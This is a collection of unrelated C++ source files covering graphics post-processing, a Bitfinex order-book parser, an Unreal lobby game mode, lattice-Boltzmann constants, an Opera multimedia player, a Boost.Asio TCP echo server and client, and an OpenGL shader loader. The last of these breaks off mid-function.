#ifndef IMCParamsSvc_hh #define IMCParamsSvc_hh /* * IMCParamsSvc allows user to *query* parameters in following ways: * * IMCParamsSvc* svc = ...; * * vector< tuple<double, double> > props; * svc->Get("Material.LS.RINDEX", props); * * vector< tuple<string, double> > props; * svc->Get("Material.LS.Elements", props); * * Note, the order could be important, so vector is used in the interface. * * But sometimes, user could put several (key,value) pairs in file, * so we also support map. * * map<string, double> props; * svc->Get("Material.LS.scale", props); * * The implemenation could be based on files or database. * We only keep this interface easy to understand. */ #include <vector> #include <map> #include <boost/tuple/tuple.hpp> class IMCParamsSvc { public: virtual ~IMCParamsSvc() {} typedef boost::tuple<double, double> elem_d2d; // double, double typedef boost::tuple<std::string, double> elem_s2d; // string, double typedef std::vector<elem_d2d> vec_d2d; typedef std::vector<elem_s2d> vec_s2d; // Instead of using (string: double) vector, we could also use map<string, double>. typedef std::map<std::string, double> map_s2d; virtual bool Get(const std::string& param, vec_d2d& props) = 0; virtual bool Get(const std::string& param, vec_s2d& props) = 0; virtual bool Get(const std::string& param, map_s2d& props) = 0; }; #endif
#include "PostProcesser.h" #include <iostream> #include "ImageLoader.h" #include "Window.h" PostProcesser::PostProcesser() { fboIn = new Fbo(window::getWindowSize(), false); fboOut = new Fbo(window::getWindowSize(), false); shader.addShader("shaders/gui.vsh", GL_VERTEX_SHADER); shader.addShader("shaders/gui.fsh", GL_FRAGMENT_SHADER); shader.start(); shader.bindTextureUnit("textureSampler", 0); shader.activateUniform("useMMatrix"); shader.activateUniform("useTextureSampler"); shader.stop(); } void PostProcesser::render(std::map<Model, std::vector<Entity*>> &entities, Camera &cam, glm::mat4 &projectionMatrix) { fogEffect.applyFog(outputQuad.vaoId, fboIn->getColorBuffer(0), fboIn->getDepthBuffer(), fogColor, fogRange, useFog); glowEffect.applyGlow(outputQuad.vaoId, fogEffect.fbo->getColorBuffer(0), useGlow, entities, cam, projectionMatrix); blackWhiteEffect.applyBlackWhite(outputQuad.vaoId, glowEffect.fbo->getColorBuffer(0), useBlackWhite); blurEffect.applyBlur(outputQuad.vaoId, blackWhiteEffect.fbo->getColorBuffer(0), blurResolution, blurRadius, blurDirection, useBlur); renderFinalImage(blurEffect.fbo->getColorBuffer(0)); } int PostProcesser::renderToImage(std::map<Model, std::vector<Entity*>> &entities, Camera &cam, glm::mat4 &projectionMatrix) { glowEffect.applyGlow(outputQuad.vaoId, fboIn->getColorBuffer(0), useGlow, entities, cam, projectionMatrix); fogEffect.applyFog(outputQuad.vaoId, glowEffect.fbo->getColorBuffer(0), fboIn->getDepthBuffer(), fogColor, fogRange, useFog); blackWhiteEffect.applyBlackWhite(outputQuad.vaoId, fogEffect.fbo->getColorBuffer(0), useBlackWhite); blurEffect.applyBlur(outputQuad.vaoId, blackWhiteEffect.fbo->getColorBuffer(0), blurResolution, blurRadius, blurDirection, useBlur); fboOut->bindFrameBuffer(); renderFinalImage(blurEffect.fbo->getColorBuffer(0)); fboOut->unbindFrameBuffer(); return fboOut->getColorBuffer(0); } void PostProcesser::renderFinalImage(unsigned int texture) { glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); shader.start(); glBindVertexArray(outputQuad.vaoId); glEnableVertexAttribArray(0); shader.setUniformVariable("useMMatrix", false); shader.setUniformVariable("useTextureSampler", true); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, texture); glDrawArrays(GL_TRIANGLE_STRIP, 0, 4); glDisableVertexAttribArray(0); glBindVertexArray(0); shader.stop(); } void PostProcesser::enable() { fboIn->bindFrameBuffer(); } void PostProcesser::disable() { fboIn->unbindFrameBuffer(); } PostProcesser::~PostProcesser() { delete fboIn; delete fboOut; }
#include "bitfinex.hpp" Bitfinex::Bitfinex( int msgLimit, int initialMsgCount) : Exchange( "wss://api.bitfinex.com/ws/2", "{\"event\":\"subscribe\", \"channel\":\"book\", \"pair\":\"tBTCUSD\", \"prec\":\"R0\", \"len\":\"25\"}", msgLimit + initialMsgCount) { } bool Bitfinex::parse(const json &jsonMsg) { // drop status msgs and error msg if (jsonMsg.find("event") != jsonMsg.end()) { if (jsonMsg.find("chanId") != jsonMsg.end()) { chainID = jsonMsg["chanId"]; } return false; } if (jsonMsg[0] == chainID) { // For Trading: if AMOUNT > 0 then bid else ask auto getOrderType = [](double volume) { return (volume > 0) ? Order::Order_t::BID : Order::Order_t::ASK; }; auto insert = [&](const json &js) { double id = js[0]; double price = js[1]; double volume = js[2]; // trigger delete if (price == 0.0 && (volume == -1 || volume == 1)) { // force delete by passing 0 to volume orders.insert(price, 0, id, getOrderType(volume)); } else { // update or insert orders.insert(price, abs(volume), id, getOrderType(volume)); } }; auto data = jsonMsg[1]; if (data[0].is_array()) { // Why multiple entries in book have the same price but different id and volume? // Can't find clear info about it so I assume it's the same as kraken - update of volume. for (auto it = data.begin(); it != data.end(); ++it) { insert(*it); }; } else { insert(data); } } return true; }
// Fill out your copyright notice in the Description page of Project Settings. #include "LobbyGameMode.h" #include "UObject/ConstructorHelpers.h" #include "Engine/Engine.h" #include "TimerManager.h" #include "ArenaNetGameInstance.h" ALobbyGameMode::ALobbyGameMode() { static ConstructorHelpers::FClassFinder<APawn> PlayerPawnBPClass(TEXT("/Game/ThirdPersonBP/Blueprints/ThirdPersonCharacter")); if (PlayerPawnBPClass.Class != NULL) { DefaultPawnClass = PlayerPawnBPClass.Class; } } void ALobbyGameMode::PostLogin(APlayerController* NewPlayer) { Super::PostLogin(NewPlayer); ++NumberOfPlayers; if (NumberOfPlayers >= 2) { GetWorldTimerManager().SetTimer(GameStartTimer, this, &ALobbyGameMode::StartGame, 0.5f); } } void ALobbyGameMode::Logout(AController* Exiting) { Super::Logout(Exiting); --NumberOfPlayers; } void ALobbyGameMode::StartGame() { auto gameInst = Cast<UArenaNetGameInstance>(GetGameInstance()); if (!gameInst) { return; } gameInst->StartSession(); UWorld* world = GetWorld(); if (!world) { return; } // Allows the transition map to be used bUseSeamlessTravel = true; // Boot up a server with the main level, and join it world->ServerTravel("/Game/ThirdPersonBP/Maps/ThirdPersonExampleMap?listen"); UE_LOG(LogTemp, Warning, TEXT("Reach 3 players!")); }
// This file is part of HemeLB and is Copyright (C) // the HemeLB team and/or their institutions, as detailed in the // file AUTHORS. This software is provided under the terms of the // license in the file LICENSE. #include "lb/lattices/D3Q19.h" namespace hemelb { namespace lb { namespace lattices { template<> LatticeInfo* Lattice<D3Q19>::singletonInfo = NULL; const Direction D3Q19::NUMVECTORS; const int D3Q19::CX[] = { 0, 1, -1, 0, 0, 0, 0, 1, -1, 1, -1, 1, -1, 1, -1, 0, 0, 0, 0 }; const int D3Q19::CY[] = { 0, 0, 0, 1, -1, 0, 0, 1, -1, -1, 1, 0, 0, 0, 0, 1, -1, 1, -1 }; const int D3Q19::CZ[] = { 0, 0, 0, 0, 0, 1, -1, 0, 0, 0, 0, 1, -1, -1, 1, 1, -1, -1, 1 }; const distribn_t D3Q19::CXD[] = { 0.0, 1.0, -1.0, 0.0, 0.0, 0.0, 0.0, 1.0, -1.0, 1.0, -1.0, 1.0, -1.0, 1.0, -1.0, 0.0, 0.0, 0.0, 0.0 }; const distribn_t D3Q19::CYD[] = { 0.0, 0.0, 0.0, 1.0, -1.0, 0.0, 0.0, 1.0, -1.0, -1.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, -1.0, 1.0, -1.0 }; const distribn_t D3Q19::CZD[] = { 0.0, 0.0, 0.0, 0.0, 0.0, 1.0, -1.0, 0.0, 0.0, 0.0, 0.0, 1.0, -1.0, -1.0, 1.0, 1.0, -1.0, -1.0, 1.0 }; const int* D3Q19::discreteVelocityVectors[] = { CX, CY, CZ }; const distribn_t D3Q19::EQMWEIGHTS[] = { 1.0 / 3.0, 1.0 / 18.0, 1.0 / 18.0, 1.0 / 18.0, 1.0 / 18.0, 1.0 / 18.0, 1.0 / 18.0, 1.0 / 36.0, 1.0 / 36.0, 1.0 / 36.0, 1.0 / 36.0, 1.0 / 36.0, 1.0 / 36.0, 1.0 / 36.0, 1.0 / 36.0, 1.0 / 36.0, 1.0 / 36.0, 1.0 / 36.0, 1.0 / 36.0 }; const Direction D3Q19::INVERSEDIRECTIONS[] = { 0, 2, 1, 4, 3, 6, 5, 8, 7, 10, 9, 12, 11, 14, 13, 16, 15, 18, 17 }; } } }
/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*- ** ** $Id: ** ** Copyright (C) 1995-2001 Opera Software AS. All rights reserved. ** ** This file is part of the Opera web browser. It may not be distributed ** under any circumstances. ** */ #include "core/pch.h" #include "WindowsOpMultimediaPlayer.h" #include "modules/logdoc/logdoc_util.h" #include "platforms/windows/pi/WindowsOpView.h" #include "platforms/windows/pi/WindowsOpWindow.h" #include "platforms/windows/CustomWindowMessages.h" #include "platforms/windows/windows_ui/menubar.h" #include <digitalv.h> #include <uuids.h> // Static members HWND WindowsOpMultimediaPlayer::hwnd = NULL; UINT32 WindowsOpMultimediaPlayer::hwnd_count = 0; static Head media_list; static uni_char VideoTypeAvi[] = UNI_L("AVIVideo"); static uni_char VideoTypeMpg[] = UNI_L("MpegVideo"); OP_STATUS OpMultimediaPlayer::Create(OpMultimediaPlayer** new_opmultimediaplayer) { OP_ASSERT(new_opmultimediaplayer != NULL); *new_opmultimediaplayer = new WindowsOpMultimediaPlayer(); if(*new_opmultimediaplayer == NULL) return OpStatus::ERR_NO_MEMORY; OP_STATUS status = ((WindowsOpMultimediaPlayer*)*new_opmultimediaplayer)->Init(); if(OpStatus::IsError(status)) { delete *new_opmultimediaplayer; *new_opmultimediaplayer = NULL; } return status; } static long FAR PASCAL MultimediaPlayerWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { UINT wDeviceID = LOWORD(lParam); UINT param = wParam; // Find media element beloning to the received message WinMediaElement* media = (WinMediaElement*) media_list.First(); while (media && media->device != wDeviceID) media = media->Suc(); // Media element found? if (media) { switch (param) { case MCI_NOTIFY_SUCCESSFUL: if (media->loop != LoopInfinite && media->loop > 0) media->loop--; if (media->loop > 0) { MCI_PLAY_PARMS mciPlayParms; mciPlayParms.dwCallback = (DWORD_PTR) media->player->GetWindowHandle(); mciPlayParms.dwFrom = 0; if (mciSendCommand(wDeviceID, MCI_PLAY, MCI_NOTIFY | MCI_FROM, (DWORD_PTR)(LPVOID) &mciPlayParms)) { // don't send error message from within loop - just terminate } else break; } // else pass through and close ... case MCI_NOTIFY_SUPERSEDED: case MCI_NOTIFY_FAILURE: case MCI_NOTIFY_ABORTED: mciSendCommand(wDeviceID, MCI_CLOSE, 0, NULL); if (media->hwnd) DestroyWindow(media->hwnd); media->Out(); delete media; // FIXME: doc_manager /* { Document* doc = doc_manager->GetCurrentDoc(); if (doc && doc->Type() == DOC_VIDEO) doc_manager->GetWindow()->SetHistoryPrev(FALSE); } */ break; default: break; } } return DefWindowProc(hWnd, message, wParam, lParam); } // WindowsOpMultiMediaPlayer WindowsOpMultimediaPlayer::WindowsOpMultimediaPlayer() : m_listener(NULL), m_graph_builder(NULL), m_media_control(NULL), m_media_event(NULL) { } WindowsOpMultimediaPlayer::~WindowsOpMultimediaPlayer() { ReleaseMedia(); StopAll(); if (hwnd) { hwnd_count--; if (hwnd_count == 0) { UnregisterClass(UNI_L("MultimediaPlayer"), NULL); DestroyWindow(hwnd); hwnd = NULL; } } } OP_STATUS WindowsOpMultimediaPlayer::Init() { if (!hwnd) { hwnd = CreateWindowHandle(); if (!hwnd) return OpStatus::ERR; } hwnd_count++; return OpStatus::OK; } void WindowsOpMultimediaPlayer::Stop(UINT32 id) { WinMediaElement* media = (WinMediaElement*) media_list.First(); while (media) { if (media->player == this && media->device == id) { mciSendCommand(media->device, MCI_CLOSE, 0, NULL); if (media->hwnd) DestroyWindow(media->hwnd); media->Out(); delete media; return; } media = (WinMediaElement*) media->Suc(); } } void WindowsOpMultimediaPlayer::StopAll() { BOOL media_closed = FALSE; WinMediaElement* media = (WinMediaElement*) media_list.First(); WinMediaElement* delMedia; while (media) { delMedia = NULL; if (media->player == this) { media_closed = TRUE; mciSendCommand(media->device, MCI_CLOSE, 0, NULL); if (media->hwnd) DestroyWindow(media->hwnd); delMedia = media; } media = (WinMediaElement*) media->Suc(); // Did we find something to delete ? if (delMedia) { delMedia->Out(); delete delMedia; } } // FIXME: doc_manager /* if (video_closed && doc_manager) { Document* doc = doc_manager->GetCurrentDoc(); if (doc && doc->Type() == DOC_VIDEO) doc_manager->GetWindow()->SetHistoryPrev(FALSE); } */ } HWND WindowsOpMultimediaPlayer::CreateWindowHandle() { OP_NEW_DBG("WindowsOpMultimediaPlayer::CreateWindowHandle", "media"); WNDCLASS WndClass; WndClass.style = 0; WndClass.lpfnWndProc = (WNDPROC)MultimediaPlayerWndProc; WndClass.cbClsExtra = 0; WndClass.cbWndExtra = 0; WndClass.hInstance = NULL; WndClass.hIcon = 0; WndClass.hCursor = 0; WndClass.hbrBackground = 0; WndClass.lpszMenuName = NULL; WndClass.lpszClassName = UNI_L("MultimediaPlayer"); UnregisterClass(UNI_L("MultimediaPlayer"), NULL); if (!RegisterClass(&WndClass)) return NULL; HWND new_hwnd = ::CreateWindow(UNI_L("MultimediaPlayer"), NULL, // window caption NULL, 0, // x position 0, // y position 0, // width 0, // iheight NULL , // parent handle 0, // menu or child ID NULL, // instance NULL); // additional info return new_hwnd; } void WindowsOpMultimediaPlayer::SetMediaStarted(HWND media_hwnd, UINT wDeviceID, int loop) { WinMediaElement* media = new WinMediaElement(this, media_hwnd, wDeviceID, loop); if (media == NULL) { mciSendCommand(wDeviceID, MCI_CLOSE, 0, NULL); if (media_hwnd) DestroyWindow(media_hwnd); return; } media->Into(&media_list); } OP_STATUS WindowsOpMultimediaPlayer::LoadMedia(const uni_char* filename) { ReleaseMedia(); HRESULT hresult; hresult = CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, IID_IGraphBuilder, (void **)&m_graph_builder); if (FAILED(hresult)) { ReleaseMedia(); return OpStatus::ERR; } m_graph_builder->QueryInterface(IID_IMediaControl, (void **)&m_media_control); if (!m_media_control) { ReleaseMedia(); return OpStatus::ERR; } m_graph_builder->QueryInterface(IID_IMediaEventEx, (void **)&m_media_event); if (!m_media_event) { ReleaseMedia(); return OpStatus::ERR; } hresult = m_graph_builder->RenderFile(filename, NULL); if (FAILED(hresult)) { ReleaseMedia(); return OpStatus::ERR; } m_media_event->SetNotifyWindow((OAHWND)hwnd, WM_OPERA_MEDIA_EVENT, 0); return OpStatus::OK; } OP_STATUS WindowsOpMultimediaPlayer::PlayMedia() { if (!m_media_control) return OpStatus::ERR; HRESULT hresult = m_media_control->Run(); if (FAILED(hresult)) return OpStatus::ERR; return OpStatus::OK; } OP_STATUS WindowsOpMultimediaPlayer::PauseMedia() { if (!m_media_control) return OpStatus::ERR; HRESULT hresult = m_media_control->Pause(); if (FAILED(hresult)) return OpStatus::ERR; return OpStatus::OK; } OP_STATUS WindowsOpMultimediaPlayer::StopMedia() { if (!m_media_control) return OpStatus::ERR; HRESULT hresult = m_media_control->Stop(); if (FAILED(hresult)) return OpStatus::ERR; return OpStatus::OK; } void WindowsOpMultimediaPlayer::ReleaseMedia() { if (m_media_control) m_media_control->Release(); if (m_media_event) m_media_event->Release(); if (m_media_event) m_media_event->Release(); m_graph_builder = NULL; m_media_control = NULL; m_media_event = NULL; }
// // Copyright (c) 2016-2017 Vinnie Falco (vinnie dot falco at gmail dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // // Official repository: https://github.com/boostorg/beast // //------------------------------------------------------------------------------ // // Example: WebSocket server, synchronous // File: https://www.boost.org/doc/libs/1_66_0/libs/beast/example/websocket/server/sync/websocket_server_sync.cpp // //------------------------------------------------------------------------------ #include <quarkstcp.hpp> #include <boost/asio.hpp> #include <functional> #include <iostream> #include <string> #include <thread> using namespace boost::asio; using ip::tcp; //------------------------------------------------------------------------------ std::string make_string(boost::asio::streambuf& streambuf) { return {boost::asio::buffers_begin(streambuf.data()), boost::asio::buffers_end(streambuf.data())}; } void tokenize_string(const char* input, char delim, std::vector<std::string>& tokens){ std::istringstream ss(input); std::string token; while(std::getline(ss, token, delim)) { tokens.push_back(token); } } // Echoes back all received WebSocket messages void do_session(tcp::socket& client_socket) { try { boost::system::error_code error; boost::asio::streambuf read_buffer; bool quit = false; while(!quit){ // Read from client. /*std::size_t bytes_transferred = 4; bytes_transferred = boost::asio::read(client_socket, read_buffer, boost::asio::transfer_exactly(bytes_transferred)); std::string data = make_string(read_buffer); std::cout << "Read: " << data << std::endl; read_buffer.consume(bytes_transferred); // Remove data that was read.*/ char recv_str[1024] = {}; /*for(int i=0; i<1024; i++){ recv_str[i] = 0; }*/ client_socket.receive(boost::asio::buffer(recv_str)); std::string data = recv_str; std::cout << "Read: " << data << std::endl; std::string message = std::string("ack") + data[data.size() - 1]; client_socket.send(boost::asio::buffer(message)); //boost::asio::write( client_socket, boost::asio::buffer(message), error); //std::cout << "Write: " << message << std::endl; //sleep(10); if(!data.compare("quit")){ quit = true; } } std::cout << "disconnecting from socket .." << std::endl; } catch(boost::system::system_error const& se) { // This indicates that the session was closed std::cerr << "Error: " << se.code().message() << std::endl; } catch(std::exception const& e) { std::cerr << "Error: " << e.what() << std::endl; } } //------------------------------------------------------------------------------ int tcpServerStart(const char* tcpUrl) { try { std::vector<std::string> tokens; tokenize_string(tcpUrl, ':', tokens); int port = 18070; if(tokens.size() > 1){ port = std::stoi(tokens[1]); } boost::asio::io_service io_service; //listen for new connection tcp::acceptor acceptor(io_service, tcp::endpoint(tcp::v4(), port )); std::cout << "TCP server started at port: " << port << std::endl; for(;;) { // This will receive the new connection tcp::socket socket(io_service); // Block until we get a connection acceptor.accept(socket); // Launch the session, transferring ownership of the socket std::thread{std::bind( &do_session, std::move(socket))}.detach(); } } catch (const std::exception& e) { std::cerr << "Error: " << e.what() << std::endl; return EXIT_FAILURE; } } int tcpClientStart(const char* tcpUrl) { std::vector<std::string> tokens; tokenize_string(tcpUrl, ':', tokens); std::string address = "127.0.0.1"; int port = 18070; if(tokens.size() > 1){ address = tokens[0]; port = std::stoi(tokens[1]); } boost::asio::io_service io_service; //socket creation tcp::socket socket(io_service); //connection socket.connect( tcp::endpoint( boost::asio::ip::address::from_string(address), port )); //boost::asio::socket_base::send_buffer_size option(8192); //socket.set_option(option); std::cout << "TCP client started at address: " << address <<" port: " << port << std::endl; int n = 0; while(true){ n++; const std::string msg = std::string("msg") + std::to_string(n); boost::system::error_code error; //boost::asio::write( socket, boost::asio::buffer(msg), error ); socket.send(boost::asio::buffer(msg)); if( !error ) { //std::cout << "Client sent " << msg << std::endl; } else { //std::cout << "send failed: " << error.message() << std::endl; } // getting response from server //boost::asio::streambuf receive_buffer; ///boost::asio::read(socket, receive_buffer, boost::asio::transfer_all(), error); char recv_str[1024] = {}; /*for(int i=0; i<1024; i++){ recv_str[i] = 0; }*/ socket.receive(boost::asio::buffer(recv_str)); if( error && error != boost::asio::error::eof ) { //std::cout << "receive failed: " << error.message() << std::endl; } else { //const char* data = boost::asio::buffer_cast<const char*>(receive_buffer.data()); const char* data = recv_str; std::cout << "client received: " << data << std::endl; } } //std::string quitMsg = "quit"; //boost::asio::write(socket, boost::asio::buffer(quitMsg)); return 0; } // unused int tcpServerStartAsync(const char* tcpUrl){ try { std::vector<std::string> tokens; tokenize_string(tcpUrl, ':', tokens); int port = 18070; if(tokens.size() > 1){ port = std::stoi(tokens[1]); } boost::asio::io_service io_service; TCPServer server(io_service, port); io_service.run(); } catch(std::exception& e) { std::cerr << e.what() << std::endl; } return 0; }
#include "f3lib/assets/model/GeometryModel.h" f3::GeometryModel::GeometryModel() : _parent(nullptr) , _parentId(INVALID_PARENT_ID) { } f3::GeometryModel::~GeometryModel() { }
/*********************************************************\ * Copyright (c) 2012-2018 The Unrimp Team * * Permission is hereby granted, free of charge, to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all copies or * substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \*********************************************************/ // TODO(co) Visual Studio 2015 compile settings: For some reasons I need to disable optimization for "ShaderLanguageGlsl.cpp" or else "glslang::TShader::parse()" will output the error "ERROR: 0:1: '@' : unexpected token" (glslang (latest commit 652db16ff114747c216ec631767dfd27e3d3c838 - July 7, 2017)) //[-------------------------------------------------------] //[ Includes ] //[-------------------------------------------------------] #include "OpenGLRenderer/Shader/Separate/ShaderLanguageSeparate.h" #include "OpenGLRenderer/Shader/Separate/ProgramSeparate.h" #include "OpenGLRenderer/Shader/Separate/ProgramSeparateDsa.h" #include "OpenGLRenderer/Shader/Separate/VertexShaderSeparate.h" #include "OpenGLRenderer/Shader/Separate/GeometryShaderSeparate.h" #include "OpenGLRenderer/Shader/Separate/FragmentShaderSeparate.h" #include "OpenGLRenderer/Shader/Separate/TessellationControlShaderSeparate.h" #include "OpenGLRenderer/Shader/Separate/TessellationEvaluationShaderSeparate.h" #include "OpenGLRenderer/Extensions.h" #include "OpenGLRenderer/OpenGLRenderer.h" #include <Renderer/ILog.h> #include <Renderer/IAllocator.h> #ifdef OPENGLRENDERER_GLSLTOSPIRV // Disable warnings in external headers, we can't fix them PRAGMA_WARNING_PUSH PRAGMA_WARNING_DISABLE_MSVC(4061) // warning C4061: enumerator '<x>' in switch of enum '<y>' is not explicitly handled by a case label PRAGMA_WARNING_DISABLE_MSVC(4365) // warning C4365: 'argument': conversion from '<x>' to '<y>', signed/unsigned mismatch PRAGMA_WARNING_DISABLE_MSVC(4571) // warning C4571: Informational: catch(...) semantics changed since Visual C++ 7.1; structured exceptions (SEH) are no longer caught PRAGMA_WARNING_DISABLE_MSVC(4623) // warning C4623: 'std::_List_node<_Ty,std::_Default_allocator_traits<_Alloc>::void_pointer>': default constructor was implicitly defined as deleted PRAGMA_WARNING_DISABLE_MSVC(4625) // warning C4625: '<x>': copy constructor was implicitly defined as deleted PRAGMA_WARNING_DISABLE_MSVC(4626) // warning C4626: 'std::codecvt_base': assignment operator was implicitly defined as deleted PRAGMA_WARNING_DISABLE_MSVC(4668) // warning C4668: '_M_HYBRID_X86_ARM64' is not defined as a preprocessor macro, replacing with '0' for '#if/#elif' PRAGMA_WARNING_DISABLE_MSVC(4774) // warning C4774: 'sprintf_s' : format string expected in argument 3 is not a string literal PRAGMA_WARNING_DISABLE_MSVC(5027) // warning C5027: 'std::_Generic_error_category': move assignment operator was implicitly defined as deleted #include <SPIRV/GlslangToSpv.h> #include <glslang/MachineIndependent/localintermediate.h> PRAGMA_WARNING_POP #else #include <tuple> // For "std::ignore" #endif #include <smol-v/smolv.h> //[-------------------------------------------------------] //[ Anonymous detail namespace ] //[-------------------------------------------------------] namespace { namespace detail { //[-------------------------------------------------------] //[ Global variables ] //[-------------------------------------------------------] #ifdef OPENGLRENDERER_GLSLTOSPIRV static bool GlslangInitialized = false; // Settings from "glslang/StandAlone/ResourceLimits.cpp" const TBuiltInResource DefaultTBuiltInResource = { 32, ///< MaxLights 6, ///< MaxClipPlanes 32, ///< MaxTextureUnits 32, ///< MaxTextureCoords 64, ///< MaxVertexAttribs 4096, ///< MaxVertexUniformComponents 64, ///< MaxVaryingFloats 32, ///< MaxVertexTextureImageUnits 80, ///< MaxCombinedTextureImageUnits 32, ///< MaxTextureImageUnits 4096, ///< MaxFragmentUniformComponents 32, ///< MaxDrawBuffers 128, ///< MaxVertexUniformVectors 8, ///< MaxVaryingVectors 16, ///< MaxFragmentUniformVectors 16, ///< MaxVertexOutputVectors 15, ///< MaxFragmentInputVectors -8, ///< MinProgramTexelOffset 7, ///< MaxProgramTexelOffset 8, ///< MaxClipDistances 65535, ///< MaxComputeWorkGroupCountX 65535, ///< MaxComputeWorkGroupCountY 65535, ///< MaxComputeWorkGroupCountZ 1024, ///< MaxComputeWorkGroupSizeX 1024, ///< MaxComputeWorkGroupSizeY 64, ///< MaxComputeWorkGroupSizeZ 1024, ///< MaxComputeUniformComponents 16, ///< MaxComputeTextureImageUnits 8, ///< MaxComputeImageUniforms 8, ///< MaxComputeAtomicCounters 1, ///< MaxComputeAtomicCounterBuffers 60, ///< MaxVaryingComponents 64, ///< MaxVertexOutputComponents 64, ///< MaxGeometryInputComponents 128, ///< MaxGeometryOutputComponents 128, ///< MaxFragmentInputComponents 8, ///< MaxImageUnits 8, ///< MaxCombinedImageUnitsAndFragmentOutputs 8, ///< MaxCombinedShaderOutputResources 0, ///< MaxImageSamples 0, ///< MaxVertexImageUniforms 0, ///< MaxTessControlImageUniforms 0, ///< MaxTessEvaluationImageUniforms 0, ///< MaxGeometryImageUniforms 8, ///< MaxFragmentImageUniforms 8, ///< MaxCombinedImageUniforms 16, ///< MaxGeometryTextureImageUnits 256, ///< MaxGeometryOutputVertices 1024, ///< MaxGeometryTotalOutputComponents 1024, ///< MaxGeometryUniformComponents 64, ///< MaxGeometryVaryingComponents 128, ///< MaxTessControlInputComponents 128, ///< MaxTessControlOutputComponents 16, ///< MaxTessControlTextureImageUnits 1024, ///< MaxTessControlUniformComponents 4096, ///< MaxTessControlTotalOutputComponents 128, ///< MaxTessEvaluationInputComponents 128, ///< MaxTessEvaluationOutputComponents 16, ///< MaxTessEvaluationTextureImageUnits 1024, ///< MaxTessEvaluationUniformComponents 120, ///< MaxTessPatchComponents 32, ///< MaxPatchVertices 64, ///< MaxTessGenLevel 16, ///< MaxViewports 0, ///< MaxVertexAtomicCounters 0, ///< MaxTessControlAtomicCounters 0, ///< MaxTessEvaluationAtomicCounters 0, ///< MaxGeometryAtomicCounters 8, ///< MaxFragmentAtomicCounters 8, ///< MaxCombinedAtomicCounters 1, ///< MaxAtomicCounterBindings 0, ///< MaxVertexAtomicCounterBuffers 0, ///< MaxTessControlAtomicCounterBuffers 0, ///< MaxTessEvaluationAtomicCounterBuffers 0, ///< MaxGeometryAtomicCounterBuffers 1, ///< MaxFragmentAtomicCounterBuffers 1, ///< MaxCombinedAtomicCounterBuffers 16384, ///< MaxAtomicCounterBufferSize 4, ///< MaxTransformFeedbackBuffers 64, ///< MaxTransformFeedbackInterleavedComponents 8, ///< MaxCullDistances 8, ///< MaxCombinedClipAndCullDistances 4, ///< MaxSamples { ///< limits 1, ///< nonInductiveForLoops 1, ///< whileLoops 1, ///< doWhileLoops 1, ///< generalUniformIndexing 1, ///< generalAttributeMatrixVectorIndexing 1, ///< generalVaryingIndexing 1, ///< generalSamplerIndexing 1, ///< generalVariableIndexing 1, ///< generalConstantMatrixVectorIndexing } }; #endif //[-------------------------------------------------------] //[ Global functions ] //[-------------------------------------------------------] void printOpenGLShaderProgramInformationIntoLog(OpenGLRenderer::OpenGLRenderer& openGLRenderer, GLuint openGLObject, const char* sourceCode) { // Get the length of the information (including a null termination) GLint informationLength = 0; OpenGLRenderer::glGetObjectParameterivARB(openGLObject, GL_OBJECT_INFO_LOG_LENGTH_ARB, &informationLength); if (informationLength > 1) { // Allocate memory for the information const Renderer::Context& context = openGLRenderer.getContext(); char* informationLog = RENDERER_MALLOC_TYPED(context, char, informationLength); // Get the information OpenGLRenderer::glGetInfoLogARB(openGLObject, informationLength, nullptr, informationLog); // Output the debug string if (context.getLog().print(Renderer::ILog::Type::CRITICAL, sourceCode, __FILE__, static_cast<uint32_t>(__LINE__), informationLog)) { // DEBUG_BREAK; } // Cleanup information memory RENDERER_FREE(context, informationLog); } } //[-------------------------------------------------------] //[ Anonymous detail namespace ] //[-------------------------------------------------------] } // detail } //[-------------------------------------------------------] //[ Namespace ] //[-------------------------------------------------------] namespace OpenGLRenderer { //[-------------------------------------------------------] //[ Public definitions ] //[-------------------------------------------------------] const char* ShaderLanguageSeparate::NAME = "GLSL"; //[-------------------------------------------------------] //[ Public static methods ] //[-------------------------------------------------------] uint32_t ShaderLanguageSeparate::loadShaderFromBytecode(OpenGLRenderer& openGLRenderer, uint32_t shaderType, const Renderer::ShaderBytecode& shaderBytecode) { // Create the shader object const GLuint openGLShader = glCreateShaderObjectARB(shaderType); // Load the SPIR-V module into the shader object // -> "glShaderBinary" is OpenGL 4.1 { // Decode from SMOL-V: like Vulkan/Khronos SPIR-V, but smaller // -> https://github.com/aras-p/smol-v // -> http://aras-p.info/blog/2016/09/01/SPIR-V-Compression/ const size_t spirvOutputBufferSize = smolv::GetDecodedBufferSize(shaderBytecode.getBytecode(), shaderBytecode.getNumberOfBytes()); const Renderer::Context& context = openGLRenderer.getContext(); uint8_t* spirvOutputBuffer = RENDERER_MALLOC_TYPED(context, uint8_t, spirvOutputBufferSize); smolv::Decode(shaderBytecode.getBytecode(), shaderBytecode.getNumberOfBytes(), spirvOutputBuffer, spirvOutputBufferSize); glShaderBinary(1, &openGLShader, GL_SHADER_BINARY_FORMAT_SPIR_V_ARB, spirvOutputBuffer, static_cast<GLsizei>(spirvOutputBufferSize)); RENDERER_FREE(context, spirvOutputBuffer); } // Done return 